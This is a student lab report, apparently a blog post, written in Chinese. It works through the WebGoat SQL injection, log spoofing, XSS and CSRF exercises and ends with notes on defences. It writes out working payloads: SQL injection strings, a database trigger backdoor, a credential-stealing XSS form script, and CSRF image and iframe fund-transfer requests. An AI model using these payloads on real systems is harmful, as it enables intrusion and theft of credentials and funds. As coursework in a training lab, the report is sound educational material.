2019-2020-5 20174322 童硕《网络对抗技术》Exp9 Web安全基础
2019-2020-5 20174322 童硕《网络对抗技术》Exp9 Web安全基础
目录
- 一、实验原理与目的
- 二、实验过程
- 三、实验中遇到的问题
- 四、实验心得体会
一、实验原理与目的
本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。
二、实验过程
1. JDK和WebGoat环境配置
JDK
在命令行窗口中输入:update-alternatives --config java ,选择第三项 java-8-openjdk-amd64
配置环境变量:【vim /etc/profile】 ,复制以下代码到文件结尾
JAVA_HOME=/usr/local/java/jdk1.8.0_161 PATH=$PATH:$HOME/bin:$JAVA_HOME/bin export JAVA_HOME export PATH
环境配置完成。
WebGoat
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。
WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含XSS、线程安全、SQL注入、访问控制、隐藏字段、Cookie等。
整合了一系列攻击方式教学,方便快捷,具有较高的实用性,能够帮助新手快速学习掌握基本攻击方式和手段
-
下载
webgoat-container-7.0.1-war-exec.jar
,移动到kali中,右键点击提取解压到文件夹中 -
在命令行输入
java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat
,等待一小会后出现如下提示则运行成功。
- 在浏览器中输入
http://localhost:8080/WebGoat
进入WebGoat登录界面 -
使用页面下端任意一个账号密码进行登录:
2. SQL注入攻击(Injection Flaws)
概念:注入攻击是攻击者通过Web应用传播恶意的代码到其他的系统上。这些攻击包括系统调用(通过shell命令调用外部程序)和后台数据库调用(通过SQL注入)一些设计上有缺陷的Web应用中的Perl,python和其他语言写的脚本(script)可能被恶意代码注入和执行。任何使用解释执行的Web应用都有被攻击的危险。
原理:SQL注入是一种广泛使用的危险度极高的注入攻击方式。要使用这种攻击方式,攻击者必须找到Web应用传递给数据库的参数。通过把恶意的SQL命令嵌入参数中,攻击者可以让Web应用把这些查询发送到数据库中。发现这些攻击和系统漏洞并不难。但是攻击产生的后果却相当致命,攻击者可以得到,破坏或者摧毁你所有数据库的内容。
数字型注入(Numeric SQL Injection)
- 概念:通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。通过构造恶意的输入,使数据库执行恶意命令,造成数据泄露或者修改内容等,以达到攻击的目的。主要是由于应用程序对用户的输入没有进行严格的过滤而造成的。
- 原理:在station字段中注入特征字符,组合成新的SQL语句。如:
SELECT * FROM weather_data WHERE station = [station]
- 目标:该例子通过注入SQL字符串查看所有的天气数据。
- 步骤:
-
在菜单栏中选择
Injection Flaws
,展开页面中选择Numeric SQL Injection
-
- 右键点击页面,选择
inspect Element
审查网页元素对源代码进行修改,在选中的城市编号Value值中添加or 1=1
- 点击
Go!
即可显示所有城市的天气情况。
日志欺骗(Log Spoofing)
- 概念:通过在日志文件中插入脚本实现欺骗。
- 原理:在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹
- 目标:灰色区域代表在 Web 服务器的日志中的记录的内容,目的是使用户名为“admin”的用户在日志中显示“成功登录”
- 步骤:
-
前提:本题目接受用户输入的任何一个用户名,并将其追加到日志文件中。
-
在菜单栏中选择
Injection Flaws
,展开页面中选择Log Spoofing
-
利用入回车(0D%)和换行符(%0A),在 username 中填入
%0d%0aLogin Succeeded for username: admin
,
-
- 上图中显示有两次尝试登录的记录,第一行是空的,接下来是admin进行登录,正常登录进去。
- 攻击者可以利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。比如,将
admin <script>alert(document.cookie)</script>
作为用户名输入,可以看到弹窗的cookie信息。
字符串注入(String SQL Injection)
- 概念:通过注入字符串绕过认证。
- 原理:基于以下查询语句构造自己的 SQL 注入字符串。
SELECT * FROM user_data WHERE last_name = '?'
- 目标:尝试通过 SQL 注入将所有信用卡信息 显示出来。尝试的用户名是“Smith”。
- 步骤:
-
在菜单栏中选择
Injection Flaws
,展开页面中选择String SQL Injection
-
正常情况下只能查询到用户名对应的信用卡号码
-
输入查询的用户名
Smith' or 1=1--
(1=1是恒等式,因此能查询到表里面的所有数据)
-
- 查询到所有用户信用卡号码如下:
SQL注入(LAB: SQL Injection)
字符串型注入(String SQL Injection)
- 原理:通过注入字符串绕过认证
- 目标:以某一身份进行登录,获得全部成员信息。
- 步骤:
-
在菜单栏中选择
Injection Flaws
,展开页面中选择LAB: SQL Injection
,展开页面中选择String SQL Injection
-
右键点击页面,选择
inspect Element
审查网页元素对源代码进行修改,将password密码框的最大长度限制改为18。
-
- 以用户
Neville(admit)
登录,输入密码hello' or '1' = '1
- 可以进行欺骗,以最高权限进行登录,获取到所有人员列表
数字型 SQL 注入(Numeric SQL Injection)
- 原理:通过注入数字型数据绕过认证,
- 目标:可以通过普通员工的账户,查看到BOSS的用户信息。
- 步骤:
-
在菜单栏中选择
Injection Flaws
,展开页面中选择LAB: SQL Injection
,展开页面中选择Numeric SQL Injection
-
使用用户名 Larry,密码 larry 登录,点击
ViewProfile
查看用户信息
-
- 右键点击页面,选择
inspect Element
审查网页元素源代码,我们可以看到数据库索引的依据是员工ID,推测返回的是每次查询到的第一条数据。
- 将员工ID的value改成
101 or 1=1 order by salary desc
,使得Boss的信息作为查询到的第一条数据(始终是最高的)。 - 更改后再次点击
ViewProfile
,即可查询到最高纪录的结果
数据库后门(Database Backdoors)
- 概念:数据库通常作为一个 Web 应用程序的后端来使用。此外,它也用来作为存储的媒介。 它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另 一个数据库操作,如 insert, select, update or delete。
- 原理:攻击者可以创建一个触发器, 该触发器在创建新用户时,将每个新用户的 Email 地址设置为攻击者的地址。
- 目标:利用查询的脆弱性创建触发器。由于 WebGoat 使用的是 MySQL 数据库,不支持触发器,所以该课程不会真正完成。 我们的 Login ID 是 101。
- 步骤:
-
在菜单栏中选择
Injection Flaws
,展开页面中选择Database Backdoors
-
输入101,得到该用户的信息。我们可以看到,输入的语句没有验证,很容易进行 SQL 注入
-
- 输入注入语句
101; update employee set salary=10000
执行两个语句
-
输入
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='zjh@hackme.com'WHERE userid = NEW.userid
(这项操作不会完成,不支持触发器)BEFORE/AFTER
参数指定了触发执行的时间 FOR EACH ROW
表示任何一条记录上的操作满足触发事件都会触发该触发器,也就是说触发器的触发频率是针对每一行数据触发一次
数字型盲注入(Blind Numeric SQL Injection)
- 原理:某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
- 目标:该题目允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。我们找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。输入找到的数值并提交,通过该题目。
- 步骤:
-
在菜单栏中选择
Injection Flaws
,展开页面中选择Blind Numeric SQL Injection
-
本题目中,服务端页面返回的信息只有两种:帐号有效或无效。如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用 AND 函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐 号有效,否则无效。
-
例如:输入查询语句
101 AND 1=1
,因为两个条件都成立,所以页面返回帐号有效 -
针对查询语句的后半部分构造复杂语句,如:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2000 )
;如果提示有效,则pin值大于2000,如果无效,则pin值小于2000。
-
- 无效则证明pin值小于3000。
-
使用二分法,最终得出pin的值为2364,输入2364进行验证
XSS攻击(Cross‐Site Scripting)
跨站脚本攻击是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击。
XSS 钓鱼(Phishing with XSS)
- 原理:当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
- 目标:
创建一个 form,要求填写用户名和密码。将数据提交到
http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
- 步骤:
-
在菜单栏中选择
Cross‐Site Scripting
,展开页面中选择Phishing with XSS
-
利用XSS可以在已存在的页面中进一步添加元素,包括两部分:
- 受害人填写一个表格;
- 服务器以读取脚本的形式,将收集到的信息发送给攻击者。
-
编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
-
编写一个带用户名和密码输入框的表格:
-
//脚本 </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> //表格 <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
使用一下
存储型XSS攻击(Stored XSS Attacks)
- 原理:这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
- 目标:写入非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
- 步骤:
- 在菜单栏中选择
Cross‐Site Scripting
,展开页面中选择Stored XSS Attacks
- 在title中任意输入学号,留言板中输入
<script>alert("this is 20174322tongshuo. You've been attacked!!!QAQ");</script>
- 在菜单栏中选择
反射型XSS攻击(Reflected XSS Attacks)
- 原理:在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
- 目标:使用攻击脚本创建URL,并将其写入网站中,当读取到该URL的时候就会被攻击
- 步骤:
- 在菜单栏中选择
Cross‐Site Scripting
,展开页面中选择Reflected XSS Attacks
- 输入XSS钓鱼中的代码,在上方出现了用户名和密码的对话框,参照钓鱼中的脚本和表格的内容,得到的结果如下:
CSRF攻击
跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
原理及过程如下:
1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
2.在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
跨站请求伪造(Cross Site Request Forgery (CSRF))
- 原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如:
<img src="https://www.mybank.com/me?transferFunds=5000&to=123456"/>
,当受害者的浏览器试图呈现此页面时,它将使用指定的参数向www.mybank.com的“me”端点发出请求。浏览器将请求链接以获得图像,即使它实际上是一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。因此,如果用户对站点进行了身份验证,并且拥有永久或当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。通过这种方式,攻击者可以让受害者执行他们不打算执行的操作,比如“购买物品”,或者脆弱网站提供的任何其他功能。 - 目标:向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。URL应该指向“攻击”servlet,其中包含“屏幕”和“菜单”参数,以及一个额外的参数“transferFunds”,其数值为5000。可以通过在右侧插入的参数中找到“Screen”和“menu”值来构造链接。当经过身份验证的CSRF电子邮件的收件人将被转移他们的资金。
- 步骤:
-
在菜单栏中选择
Cross‐Site Scripting
,展开页面中选择Cross Site Request Forgery (CSRF)
-
查看页面右侧Parameters中的src和menu值,分别为291和900
-
在title中输入任何参数(学号),message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=291&menu=900&transferFunds=5000" width="1" height="1" />
,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的(宽高设置成1像素的目的是隐藏该图片),用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交。
-
- 在Message List中生成以Title命名的消息。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
- 绕过 CSRF 确认( CSRF Prompt By‐Pass)
原理:跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。
目标:与上一个题目类似,向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。url应该指向攻击servlet,其中包含这个CSRF-prompt-by-pass课程的屏幕、菜单参数和一个额外的参数“transferFunds”,其中包含一个数值“5000”来启动传输,一个字符串值“CONFIRM”来完成传输。您可以从右边的插图中复制课程的参数,创建格式为attack?Screen=XXX&menu=YYY&transferFunds=ZZZ的url
。无论谁收到这封电子邮件,并且碰巧在那个时候通过了身份验证,他的资金就会被转移。
步骤:
-
- 在菜单栏中选择
Cross‐Site Scripting
,展开页面中选择CSRF Prompt By‐Pass
- 在title框中输入学号,message框中输入代码:
-
<iframe src="attack?Screen=320&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=320&menu=900&transferFunds=CONFIRM"> </iframe>
- 在菜单栏中选择
- 在Message List中生成以Title命名的链接,点击进入后,攻击成功,可以从左侧的任务栏看到任务已完成。
-
实验中遇到的问题
实验中遇到的问题是对原理的理解,需要通过认真搜索资料,查看相关信息才能更好的学习知识。
-
基础问题回答
- SQL注入攻击原理,如何防御
原理:SQL注入是一种广泛使用的危险度极高的注入攻击方式。是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,达到欺骗服务器执行恶意的SQL命令要使用这种攻击方式,攻击者必须找到Web应用传递给数据库的参数。通过把恶意的SQL命令嵌入参数中,攻击者可以让Web应用把这些查询发送到数据库中。发现这些攻击和系统漏洞并不难。但是攻击产生的后果却相当致命,攻击者可以得到,破坏或者摧毁所有数据库的内容。通过构造恶意的输入,使数据库执行恶意命令,造成数据泄露或者修改内容等,以达到攻击的目的。
防御:这种攻击主要是由于应用程序对用户的输入没有进行严格的过滤而造成的。在编写代码时应对用户输入的数据进行严格的判断,不论是字符长度、类型、时间都要进行判断,同时可以使用多种方面进行判断,增加验证码等都是常见手段。另外,一个提供对命令注入很好的预防方法是通过系统权限配置,只允许Web应用使用某些特定的命令. 因此你不能以root用户来启动Web服务器或者以DBADMIN用户来访问数据库。否则攻击者可以利用这些权限很高的用户攻击系统。
- XSS攻击的原理,如何防御
原理:XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种攻击。
- 对输入(和URL参数)进行过滤,对输出进行编码。
- 对提交的所有内容进行过滤,对url中的参数进行过滤,识别关键字,过滤掉会导致脚本执行的相关内容代码,然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。
- 为了避免反射式或存储式的XSS漏洞,最好的办法是根据HTML输出的上下文(包括:主体、属性、JavaScript、CSS或URL)对所有不可信的HTTP请求数据进行恰当的转义。
- 在客户端修改浏览器文档时
- 为了避免DOM型XSS攻击,最好的选择是实施上下文敏感数据编码。
- CSRF攻击原理,如何防御
原理:CSRF概念:
攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。
防御:
- CSRF漏洞检测:
检测CSRF漏洞的方法就是抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。专门针对CSRF漏洞进行检测的工具,如CSRFTester,CSRF Request Builder等。
以CSRFTester工具为例,CSRF漏洞检测工具的测试原理如下:使用CSRFTester进行测试时,首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在CSRFTester中修改相应的表单等信息,重新提交,这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。
2.目前防御 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。
-
四、实验心得体会
在本次实验中较好地完成任务,在通过sql注入、xss脚本攻击、CSRF跨站点请求伪造三种攻击手段的学习过程中,认识到编写代码 的过程中对于用户输入需要进行严格的判断和分析,必须满足系统安全的相关要求,在日常生活中,任何一处的漏洞都会给不法分子以可乘之机。是非常危险的。必须提高警惕严加防范。
posted on 2020-05-29 10:22 20174322童硕 阅读(182) 评论(0) 编辑 收藏 举报